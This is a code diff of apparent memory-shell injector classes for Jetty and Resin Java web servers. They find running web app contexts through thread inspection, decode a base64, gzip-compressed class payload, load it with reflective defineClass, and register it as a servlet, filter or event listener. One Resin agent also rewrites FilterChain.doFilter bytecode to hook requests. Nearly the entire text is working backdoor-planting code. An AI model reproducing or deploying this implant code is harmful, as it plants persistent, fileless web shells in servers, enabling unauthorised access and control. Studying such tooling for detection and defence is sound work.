public static byte[] decodeBase64(String base64Str) throws Exception {
|
||||||
|
Class<?> decoderClass;
|
||||||
|
try {
|
||||||
|
decoderClass = Class.forName("java.util.Base64");
|
||||||
|
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
|
||||||
|
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
decoderClass = Class.forName("sun.misc.BASE64Decoder");
|
||||||
|
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
|
||||||
|
ByteArrayOutputStream out = new ByteArrayOutputStream();
|
||||||
|
GZIPInputStream gzipInputStream = null;
|
||||||
|
try {
|
||||||
|
gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
|
||||||
|
byte[] buffer = new byte[4096];
|
||||||
|
int n;
|
||||||
|
while ((n = gzipInputStream.read(buffer)) > 0) {
|
||||||
|
out.write(buffer, 0, n);
|
||||||
|
}
|
||||||
|
return out.toByteArray();
|
||||||
|
} finally {
|
||||||
|
if (gzipInputStream != null) {
|
||||||
|
gzipInputStream.close();
|
||||||
|
}
|
||||||
|
out.close();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public static Field getField(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {
|
||||||
|
for (Class<?> clazz = obj.getClass();
|
||||||
|
clazz != Object.class;
|
||||||
|
clazz = clazz.getSuperclass()) {
|
||||||
|
try {
|
||||||
|
return clazz.getDeclaredField(name);
|
||||||
|
} catch (NoSuchFieldException ignored) {
|
||||||
|
|
||||||
|
}
|
||||||
|
}
|
||||||
|
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public static Object getFieldValue(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {
|
||||||
|
try {
|
||||||
|
Field field = getField(obj, name);
|
||||||
|
field.setAccessible(true);
|
||||||
|
return field.get(obj);
|
||||||
|
} catch (NoSuchFieldException ignored) {
|
||||||
|
}
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
|
||||||
|
Field field = getField(obj, fieldName);
|
||||||
|
field.setAccessible(true);
|
||||||
|
field.set(obj, value);
|
||||||
|
}
|
||||||
|
|
||||||
|
public static Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException {
|
||||||
|
return invokeMethod(targetObject, methodName, new Class[0], new Object[0]);
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws NoSuchMethodException {
|
||||||
|
try {
|
||||||
|
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
|
||||||
|
Method method = null;
|
||||||
|
while (clazz != null && method == null) {
|
||||||
|
try {
|
||||||
|
if (paramClazz == null) {
|
||||||
|
method = clazz.getDeclaredMethod(methodName);
|
||||||
|
} else {
|
||||||
|
method = clazz.getDeclaredMethod(methodName, paramClazz);
|
||||||
|
}
|
||||||
|
} catch (NoSuchMethodException e) {
|
||||||
|
clazz = clazz.getSuperclass();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if (method == null) {
|
||||||
|
throw new NoSuchMethodException("Method not found: " + methodName);
|
||||||
|
}
|
||||||
|
method.setAccessible(true);
|
||||||
|
return method.invoke(obj instanceof Class ? null : obj, param);
|
||||||
|
} catch (NoSuchMethodException e) {
|
||||||
|
throw e;
|
||||||
|
} catch (Exception e) {
|
||||||
|
throw new RuntimeException("Error invoking method: " + methodName, e);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
private String getErrorMessage(Throwable throwable) {
|
||||||
|
PrintStream printStream = null;
|
||||||
|
try {
|
||||||
|
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
|
||||||
|
printStream = new PrintStream(outputStream);
|
||||||
|
throwable.printStackTrace(printStream);
|
||||||
|
return outputStream.toString();
|
||||||
|
} finally {
|
||||||
|
if (printStream != null) {
|
||||||
|
printStream.close();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
+79
-36
@@ -3,33 +3,65 @@ package com.reajason.javaweb.memshell.injector.jetty;
|
|||||||
import java.io.ByteArrayInputStream;
|
import java.io.ByteArrayInputStream;
|
||||||
import java.io.ByteArrayOutputStream;
|
import java.io.ByteArrayOutputStream;
|
||||||
import java.io.IOException;
|
import java.io.IOException;
|
||||||
|
import java.io.PrintStream;
|
||||||
import java.lang.reflect.Array;
|
import java.lang.reflect.Array;
|
||||||
import java.lang.reflect.Field;
|
import java.lang.reflect.Field;
|
||||||
import java.lang.reflect.InvocationTargetException;
|
import java.lang.reflect.InvocationTargetException;
|
||||||
import java.lang.reflect.Method;
|
import java.lang.reflect.Method;
|
||||||
import java.util.ArrayList;
|
import java.util.*;
|
||||||
import java.util.EventListener;
|
|
||||||
import java.util.List;
|
|
||||||
import java.util.Set;
|
|
||||||
import java.util.zip.GZIPInputStream;
|
import java.util.zip.GZIPInputStream;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* tested v7、v8、v9
|
|
||||||
*
|
|
||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
*/
|
*/
|
||||||
public class JettyListenerInjector {
|
public class JettyListenerInjector {
|
||||||
|
|
||||||
|
private static String msg = "";
|
||||||
|
private static boolean ok = false;
|
||||||
|
|
||||||
public JettyListenerInjector() {
|
public JettyListenerInjector() {
|
||||||
try {
|
if (ok) {
|
||||||
List<Object> contexts = getContext();
|
return;
|
||||||
for (Object context : contexts) {
|
|
||||||
Object listener = getShell(context);
|
|
||||||
inject(context, listener);
|
|
||||||
}
|
|
||||||
} catch (Exception e) {
|
|
||||||
e.printStackTrace();
|
|
||||||
}
|
}
|
||||||
|
Set<Object> contexts = null;
|
||||||
|
try {
|
||||||
|
contexts = getContext();
|
||||||
|
} catch (Throwable throwable) {
|
||||||
|
msg += "context error: " + getErrorMessage(throwable);
|
||||||
|
}
|
||||||
|
if (contexts == null) {
|
||||||
|
msg += "context not found";
|
||||||
|
} else {
|
||||||
|
for (Object context : contexts) {
|
||||||
|
try {
|
||||||
|
msg += ("context: [" + getContextRoot(context) + "] ");
|
||||||
|
Object shell = getShell(context);
|
||||||
|
inject(context, shell);
|
||||||
|
msg += "[/*] ready\n";
|
||||||
|
} catch (Throwable e) {
|
||||||
|
msg += "failed " + getErrorMessage(e) + "\n";
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
ok = true;
|
||||||
|
System.out.println(msg);
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
private String getContextRoot(Object context) {
|
||||||
|
String r = null;
|
||||||
|
try {
|
||||||
|
r = (String) invokeMethod(context, "getContextPath");
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
}
|
||||||
|
String c = context.getClass().getName();
|
||||||
|
if (r == null) {
|
||||||
|
return c;
|
||||||
|
}
|
||||||
|
if (r.isEmpty()) {
|
||||||
|
return c + "(/)";
|
||||||
|
}
|
||||||
|
return c + "(" + r + ")";
|
||||||
}
|
}
|
||||||
|
|
||||||
public String getClassName() {
|
public String getClassName() {
|
||||||
@@ -40,8 +72,8 @@ public class JettyListenerInjector {
|
|||||||
return "{{base64Str}}";
|
return "{{base64Str}}";
|
||||||
}
|
}
|
||||||
|
|
||||||
private List<Object> getContext() throws Exception {
|
public Set<Object> getContext() throws Exception {
|
||||||
List<Object> contexts = new ArrayList<Object>();
|
Set<Object> contexts = new HashSet<Object>();
|
||||||
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
||||||
for (Thread thread : threads) {
|
for (Thread thread : threads) {
|
||||||
try {
|
try {
|
||||||
@@ -80,30 +112,21 @@ public class JettyListenerInjector {
|
|||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
private Object getShell(Object context) throws Exception {
|
private Object getShell(Object context) throws Exception {
|
||||||
ClassLoader webAppClassLoader = getWebAppClassLoader(context);
|
ClassLoader classLoader = getWebAppClassLoader(context);
|
||||||
|
Class<?> clazz = null;
|
||||||
try {
|
try {
|
||||||
return webAppClassLoader.loadClass(getClassName()).newInstance();
|
clazz = classLoader.loadClass(getClassName());
|
||||||
} catch (Exception e) {
|
} catch (Exception e) {
|
||||||
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
|
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
|
||||||
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||||
defineClass.setAccessible(true);
|
defineClass.setAccessible(true);
|
||||||
Class<?> clazz = (Class<?>) defineClass.invoke(webAppClassLoader, clazzByte, 0, clazzByte.length);
|
clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
||||||
return clazz.newInstance();
|
|
||||||
}
|
}
|
||||||
|
msg += "[" + classLoader.getClass().getName() + "] ";
|
||||||
|
return clazz.newInstance();
|
||||||
}
|
}
|
||||||
|
|
||||||
public static void inject(Object context, Object listener) throws Exception {
|
public void inject(Object context, Object listener) throws Exception {
|
||||||
if (isInjected(context, listener.getClass().getName())) {
|
|
||||||
System.out.println("listener is already injected");
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
invokeMethod(context, "addEventListener", new Class[]{EventListener.class}, new Object[]{listener});
|
|
||||||
System.out.println("listener added successfully");
|
|
||||||
}
|
|
||||||
|
|
||||||
@SuppressWarnings("unchecked")
|
|
||||||
public static boolean isInjected(Object context, String className) throws Exception {
|
|
||||||
// jetty v8、 v9
|
|
||||||
Object object = invokeMethod(context, "getEventListeners");
|
Object object = invokeMethod(context, "getEventListeners");
|
||||||
Object[] eventListeners = new Object[0];
|
Object[] eventListeners = new Object[0];
|
||||||
if (object instanceof List) {
|
if (object instanceof List) {
|
||||||
@@ -112,11 +135,16 @@ public class JettyListenerInjector {
|
|||||||
eventListeners = (Object[]) object;
|
eventListeners = (Object[]) object;
|
||||||
}
|
}
|
||||||
for (Object eventListener : eventListeners) {
|
for (Object eventListener : eventListeners) {
|
||||||
if (eventListener.getClass().getName().contains(className)) {
|
if (eventListener.getClass().getName().contains(getClassName())) {
|
||||||
return true;
|
return ;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
return false;
|
invokeMethod(context, "addEventListener", new Class[]{EventListener.class}, new Object[]{listener});
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public String toString() {
|
||||||
|
return msg;
|
||||||
}
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
@@ -165,7 +193,7 @@ public class JettyListenerInjector {
|
|||||||
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
throw new NoSuchFieldException(name);
|
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
|
||||||
}
|
}
|
||||||
|
|
||||||
public static Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException {
|
public static Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException {
|
||||||
@@ -199,4 +227,19 @@ public class JettyListenerInjector {
|
|||||||
throw new RuntimeException("Error invoking method: " + methodName, e);
|
throw new RuntimeException("Error invoking method: " + methodName, e);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
private String getErrorMessage(Throwable throwable) {
|
||||||
|
PrintStream printStream = null;
|
||||||
|
try {
|
||||||
|
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
|
||||||
|
printStream = new PrintStream(outputStream);
|
||||||
|
throwable.printStackTrace(printStream);
|
||||||
|
return outputStream.toString();
|
||||||
|
} finally {
|
||||||
|
if (printStream != null) {
|
||||||
|
printStream.close();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+78
-21
@@ -3,8 +3,10 @@ package com.reajason.javaweb.memshell.injector.jetty;
|
|||||||
import java.io.ByteArrayInputStream;
|
import java.io.ByteArrayInputStream;
|
||||||
import java.io.ByteArrayOutputStream;
|
import java.io.ByteArrayOutputStream;
|
||||||
import java.io.IOException;
|
import java.io.IOException;
|
||||||
|
import java.io.PrintStream;
|
||||||
import java.lang.reflect.*;
|
import java.lang.reflect.*;
|
||||||
import java.util.ArrayList;
|
import java.util.ArrayList;
|
||||||
|
import java.util.HashSet;
|
||||||
import java.util.List;
|
import java.util.List;
|
||||||
import java.util.Set;
|
import java.util.Set;
|
||||||
import java.util.zip.GZIPInputStream;
|
import java.util.zip.GZIPInputStream;
|
||||||
@@ -15,17 +17,8 @@ import java.util.zip.GZIPInputStream;
|
|||||||
*/
|
*/
|
||||||
public class JettyServletInjector {
|
public class JettyServletInjector {
|
||||||
|
|
||||||
public JettyServletInjector() {
|
private static String msg = "";
|
||||||
try {
|
private static boolean ok = false;
|
||||||
List<Object> contexts = getContext();
|
|
||||||
for (Object context : contexts) {
|
|
||||||
Object servlet = getShell(context);
|
|
||||||
inject(context, servlet);
|
|
||||||
}
|
|
||||||
} catch (Exception e) {
|
|
||||||
e.printStackTrace();
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
public String getUrlPattern() {
|
public String getUrlPattern() {
|
||||||
return "{{urlPattern}}";
|
return "{{urlPattern}}";
|
||||||
@@ -39,6 +32,51 @@ public class JettyServletInjector {
|
|||||||
return "{{base64Str}}";
|
return "{{base64Str}}";
|
||||||
}
|
}
|
||||||
|
|
||||||
|
public JettyServletInjector() {
|
||||||
|
if (ok) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
Set<Object> contexts = null;
|
||||||
|
try {
|
||||||
|
contexts = getContext();
|
||||||
|
} catch (Throwable throwable) {
|
||||||
|
msg += "context error: " + getErrorMessage(throwable);
|
||||||
|
}
|
||||||
|
if (contexts == null) {
|
||||||
|
msg += "context not found";
|
||||||
|
} else {
|
||||||
|
for (Object context : contexts) {
|
||||||
|
try {
|
||||||
|
msg += ("context: [" + getContextRoot(context) + "] ");
|
||||||
|
Object shell = getShell(context);
|
||||||
|
inject(context, shell);
|
||||||
|
msg += "[" + getUrlPattern() + "] ready\n";
|
||||||
|
} catch (Throwable e) {
|
||||||
|
msg += "failed " + getErrorMessage(e) + "\n";
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
ok = true;
|
||||||
|
System.out.println(msg);
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
private String getContextRoot(Object context) {
|
||||||
|
String r = null;
|
||||||
|
try {
|
||||||
|
r = (String) invokeMethod(context, "getContextPath");
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
}
|
||||||
|
String c = context.getClass().getName();
|
||||||
|
if (r == null) {
|
||||||
|
return c;
|
||||||
|
}
|
||||||
|
if (r.isEmpty()) {
|
||||||
|
return c + "(/)";
|
||||||
|
}
|
||||||
|
return c + "(" + r + ")";
|
||||||
|
}
|
||||||
|
|
||||||
public Class<?> getServletClass(ClassLoader classLoader) throws ClassNotFoundException {
|
public Class<?> getServletClass(ClassLoader classLoader) throws ClassNotFoundException {
|
||||||
try {
|
try {
|
||||||
return classLoader.loadClass("javax.servlet.Servlet");
|
return classLoader.loadClass("javax.servlet.Servlet");
|
||||||
@@ -47,8 +85,8 @@ public class JettyServletInjector {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
private List<Object> getContext() throws Exception {
|
public Set<Object> getContext() throws Exception {
|
||||||
List<Object> contexts = new ArrayList<Object>();
|
Set<Object> contexts = new HashSet<Object>();
|
||||||
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
||||||
for (Thread thread : threads) {
|
for (Thread thread : threads) {
|
||||||
try {
|
try {
|
||||||
@@ -87,32 +125,33 @@ public class JettyServletInjector {
|
|||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
private Object getShell(Object context) throws Exception {
|
private Object getShell(Object context) throws Exception {
|
||||||
ClassLoader webAppClassLoader = getWebAppClassLoader(context);
|
ClassLoader classLoader = getWebAppClassLoader(context);
|
||||||
|
Class<?> clazz = null;
|
||||||
try {
|
try {
|
||||||
return webAppClassLoader.loadClass(getClassName()).newInstance();
|
clazz = classLoader.loadClass(getClassName());
|
||||||
} catch (Exception e) {
|
} catch (Exception e) {
|
||||||
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
|
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
|
||||||
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||||
defineClass.setAccessible(true);
|
defineClass.setAccessible(true);
|
||||||
Class<?> clazz = (Class<?>) defineClass.invoke(webAppClassLoader, clazzByte, 0, clazzByte.length);
|
clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
||||||
return clazz.newInstance();
|
|
||||||
}
|
}
|
||||||
|
msg += "[" + classLoader.getClass().getName() + "] ";
|
||||||
|
return clazz.newInstance();
|
||||||
}
|
}
|
||||||
|
|
||||||
public void inject(Object context, Object servlet) throws Exception {
|
public void inject(Object context, Object servlet) throws Exception {
|
||||||
Object servletHandler = getFieldValue(context, "_servletHandler");
|
Object servletHandler = getFieldValue(context, "_servletHandler");
|
||||||
|
|
||||||
if (invokeMethod(servletHandler, "getServlet", new Class[]{String.class}, new Object[]{getClassName()}) != null) {
|
if (invokeMethod(servletHandler, "getServlet", new Class[]{String.class}, new Object[]{getClassName()}) != null) {
|
||||||
System.out.println("servlet is already injected");
|
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
String[] classNames = new String[]{
|
String[] classNames = new String[]{
|
||||||
"org.eclipse.jetty.servlet.ServletHolder",
|
"org.eclipse.jetty.servlet.ServletHolder",
|
||||||
"org.eclipse.jetty.ee8.servlet.ServletHolder",
|
"org.eclipse.jetty.ee8.servlet.ServletHolder",
|
||||||
"org.eclipse.jetty.ee9.servlet.ServletHolder",
|
"org.eclipse.jetty.ee9.servlet.ServletHolder",
|
||||||
"org.eclipse.jetty.ee10.servlet.ServletHolder",
|
"org.eclipse.jetty.ee10.servlet.ServletHolder",
|
||||||
|
"org.eclipse.jetty.ee11.servlet.ServletHolder",
|
||||||
"org.mortbay.jetty.servlet.ServletHolder",
|
"org.mortbay.jetty.servlet.ServletHolder",
|
||||||
};
|
};
|
||||||
|
|
||||||
@@ -137,9 +176,12 @@ public class JettyServletInjector {
|
|||||||
invokeMethod(servletHolder, "setName", new Class[]{String.class}, new Object[]{getClassName()});
|
invokeMethod(servletHolder, "setName", new Class[]{String.class}, new Object[]{getClassName()});
|
||||||
invokeMethod(servletHandler, "addServlet", new Class[]{servletHolderClass}, new Object[]{servletHolder});
|
invokeMethod(servletHandler, "addServlet", new Class[]{servletHolderClass}, new Object[]{servletHolder});
|
||||||
invokeMethod(servletHandler, "addServletWithMapping", new Class[]{servletHolderClass, String.class}, new Object[]{servletHolder, getUrlPattern()});
|
invokeMethod(servletHandler, "addServletWithMapping", new Class[]{servletHolderClass, String.class}, new Object[]{servletHolder, getUrlPattern()});
|
||||||
System.out.println("servlet inject successful");
|
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public String toString() {
|
||||||
|
return msg;
|
||||||
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
public static byte[] decodeBase64(String base64Str) throws Exception {
|
public static byte[] decodeBase64(String base64Str) throws Exception {
|
||||||
@@ -186,7 +228,7 @@ public class JettyServletInjector {
|
|||||||
clazz = clazz.getSuperclass();
|
clazz = clazz.getSuperclass();
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
throw new NoSuchFieldException();
|
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
|
||||||
}
|
}
|
||||||
|
|
||||||
public static Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException {
|
public static Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException {
|
||||||
@@ -220,4 +262,19 @@ public class JettyServletInjector {
|
|||||||
throw new RuntimeException("Error invoking method: " + methodName, e);
|
throw new RuntimeException("Error invoking method: " + methodName, e);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
private String getErrorMessage(Throwable throwable) {
|
||||||
|
PrintStream printStream = null;
|
||||||
|
try {
|
||||||
|
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
|
||||||
|
printStream = new PrintStream(outputStream);
|
||||||
|
throwable.printStackTrace(printStream);
|
||||||
|
return outputStream.toString();
|
||||||
|
} finally {
|
||||||
|
if (printStream != null) {
|
||||||
|
printStream.close();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+3
-7
@@ -42,7 +42,6 @@ public class ResinFilterChainAgentInjector implements ClassFileTransformer {
|
|||||||
inst.retransformClasses(allLoadedClass);
|
inst.retransformClasses(allLoadedClass);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
System.out.println("MemShell Agent is working at com.caucho.server.dispatch.FilterFilterChain.doFilter");
|
|
||||||
}
|
}
|
||||||
|
|
||||||
@Override
|
@Override
|
||||||
@@ -61,6 +60,7 @@ public class ResinFilterChainAgentInjector implements ClassFileTransformer {
|
|||||||
};
|
};
|
||||||
ClassVisitor cv = getClassVisitor(cw);
|
ClassVisitor cv = getClassVisitor(cw);
|
||||||
cr.accept(cv, ClassReader.EXPAND_FRAMES);
|
cr.accept(cv, ClassReader.EXPAND_FRAMES);
|
||||||
|
System.out.println("MemShell Agent is working at " + TARGET_CLASS.replace("/", ".") + "." + TARGET_METHOD_NAME);
|
||||||
return cw.toByteArray();
|
return cw.toByteArray();
|
||||||
} catch (Exception e) {
|
} catch (Exception e) {
|
||||||
e.printStackTrace();
|
e.printStackTrace();
|
||||||
@@ -77,12 +77,8 @@ public class ResinFilterChainAgentInjector implements ClassFileTransformer {
|
|||||||
String signature, String[] exceptions) {
|
String signature, String[] exceptions) {
|
||||||
MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
|
MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
|
||||||
if (TARGET_METHOD_NAME.equals(name)) {
|
if (TARGET_METHOD_NAME.equals(name)) {
|
||||||
try {
|
Type[] argumentTypes = Type.getArgumentTypes(descriptor);
|
||||||
Type[] argumentTypes = Type.getArgumentTypes(descriptor);
|
return new AgentShellMethodVisitor(mv, argumentTypes, getClassName());
|
||||||
return new AgentShellMethodVisitor(mv, argumentTypes, getClassName());
|
|
||||||
} catch (Exception e) {
|
|
||||||
e.printStackTrace();
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
return mv;
|
return mv;
|
||||||
}
|
}
|
||||||
|
|||||||
+79
-30
@@ -3,6 +3,7 @@ package com.reajason.javaweb.memshell.injector.resin;
|
|||||||
import java.io.ByteArrayInputStream;
|
import java.io.ByteArrayInputStream;
|
||||||
import java.io.ByteArrayOutputStream;
|
import java.io.ByteArrayOutputStream;
|
||||||
import java.io.IOException;
|
import java.io.IOException;
|
||||||
|
import java.io.PrintStream;
|
||||||
import java.lang.reflect.Field;
|
import java.lang.reflect.Field;
|
||||||
import java.lang.reflect.Method;
|
import java.lang.reflect.Method;
|
||||||
import java.util.*;
|
import java.util.*;
|
||||||
@@ -13,17 +14,8 @@ import java.util.zip.GZIPInputStream;
|
|||||||
*/
|
*/
|
||||||
public class ResinFilterInjector {
|
public class ResinFilterInjector {
|
||||||
|
|
||||||
public ResinFilterInjector() {
|
private static String msg = "";
|
||||||
try {
|
private static boolean ok = false;
|
||||||
List<Object> contexts = getContext();
|
|
||||||
for (Object context : contexts) {
|
|
||||||
Object filter = getShell(context);
|
|
||||||
inject(context, filter);
|
|
||||||
}
|
|
||||||
} catch (Exception e) {
|
|
||||||
e.printStackTrace();
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
public String getUrlPattern() {
|
public String getUrlPattern() {
|
||||||
return "{{urlPattern}}";
|
return "{{urlPattern}}";
|
||||||
@@ -37,11 +29,56 @@ public class ResinFilterInjector {
|
|||||||
return "{{base64Str}}";
|
return "{{base64Str}}";
|
||||||
}
|
}
|
||||||
|
|
||||||
|
public ResinFilterInjector() {
|
||||||
|
if (ok) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
Set<Object> contexts = null;
|
||||||
|
try {
|
||||||
|
contexts = getContext();
|
||||||
|
} catch (Throwable throwable) {
|
||||||
|
msg += "context error: " + getErrorMessage(throwable);
|
||||||
|
}
|
||||||
|
if (contexts == null) {
|
||||||
|
msg += "context not found";
|
||||||
|
} else {
|
||||||
|
for (Object context : contexts) {
|
||||||
|
try {
|
||||||
|
msg += ("context: [" + getContextRoot(context) + "] ");
|
||||||
|
Object shell = getShell(context);
|
||||||
|
inject(context, shell);
|
||||||
|
msg += "[" + getUrlPattern() + "] ready\n";
|
||||||
|
} catch (Throwable e) {
|
||||||
|
msg += "failed " + getErrorMessage(e) + "\n";
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
ok = true;
|
||||||
|
System.out.println(msg);
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
private String getContextRoot(Object context) {
|
||||||
|
String r = null;
|
||||||
|
try {
|
||||||
|
r = (String) invokeMethod(context, "getContextPath", null, null);
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
}
|
||||||
|
String c = context.getClass().getName();
|
||||||
|
if (r == null) {
|
||||||
|
return c;
|
||||||
|
}
|
||||||
|
if (r.isEmpty()) {
|
||||||
|
return c + "(/)";
|
||||||
|
}
|
||||||
|
return c + "(" + r + ")";
|
||||||
|
}
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* com.caucho.server.webapp.Application
|
* com.caucho.server.webapp.Application
|
||||||
* /usr/local/resin3/lib/resin.jar
|
* /usr/local/resin3/lib/resin.jar
|
||||||
*/
|
*/
|
||||||
public List<Object> getContext() throws Exception {
|
public Set<Object> getContext() throws Exception {
|
||||||
Set<Object> contexts = new HashSet<Object>();
|
Set<Object> contexts = new HashSet<Object>();
|
||||||
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
||||||
for (Thread thread : threads) {
|
for (Thread thread : threads) {
|
||||||
@@ -57,7 +94,7 @@ public class ResinFilterInjector {
|
|||||||
contexts.add(webApp);
|
contexts.add(webApp);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
return Arrays.asList(contexts.toArray());
|
return contexts;
|
||||||
}
|
}
|
||||||
|
|
||||||
public ClassLoader getWebAppClassLoader(Object context) throws Exception {
|
public ClassLoader getWebAppClassLoader(Object context) throws Exception {
|
||||||
@@ -71,21 +108,25 @@ public class ResinFilterInjector {
|
|||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
private Object getShell(Object context) throws Exception {
|
private Object getShell(Object context) throws Exception {
|
||||||
ClassLoader classLoader = getWebAppClassLoader(context);
|
ClassLoader classLoader = getWebAppClassLoader(context);
|
||||||
|
Class<?> clazz = null;
|
||||||
try {
|
try {
|
||||||
return classLoader.loadClass(getClassName()).newInstance();
|
clazz = classLoader.loadClass(getClassName());
|
||||||
} catch (Exception e) {
|
} catch (Exception e) {
|
||||||
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
|
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
|
||||||
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||||
defineClass.setAccessible(true);
|
defineClass.setAccessible(true);
|
||||||
Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
||||||
return clazz.newInstance();
|
|
||||||
}
|
}
|
||||||
|
msg += "[" + classLoader.getClass().getName() + "] ";
|
||||||
|
return clazz.newInstance();
|
||||||
}
|
}
|
||||||
|
|
||||||
private void inject(Object context, Object filter) throws Exception {
|
private void inject(Object context, Object filter) throws Exception {
|
||||||
if (isInjected(context)) {
|
Map<String, Object> filters = (Map) getFieldValue(getFieldValue(context, "_filterManager"), "_filters");
|
||||||
System.out.println("filter already injected");
|
for (String key : filters.keySet()) {
|
||||||
return;
|
if (key.contains(getClassName())) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
}
|
}
|
||||||
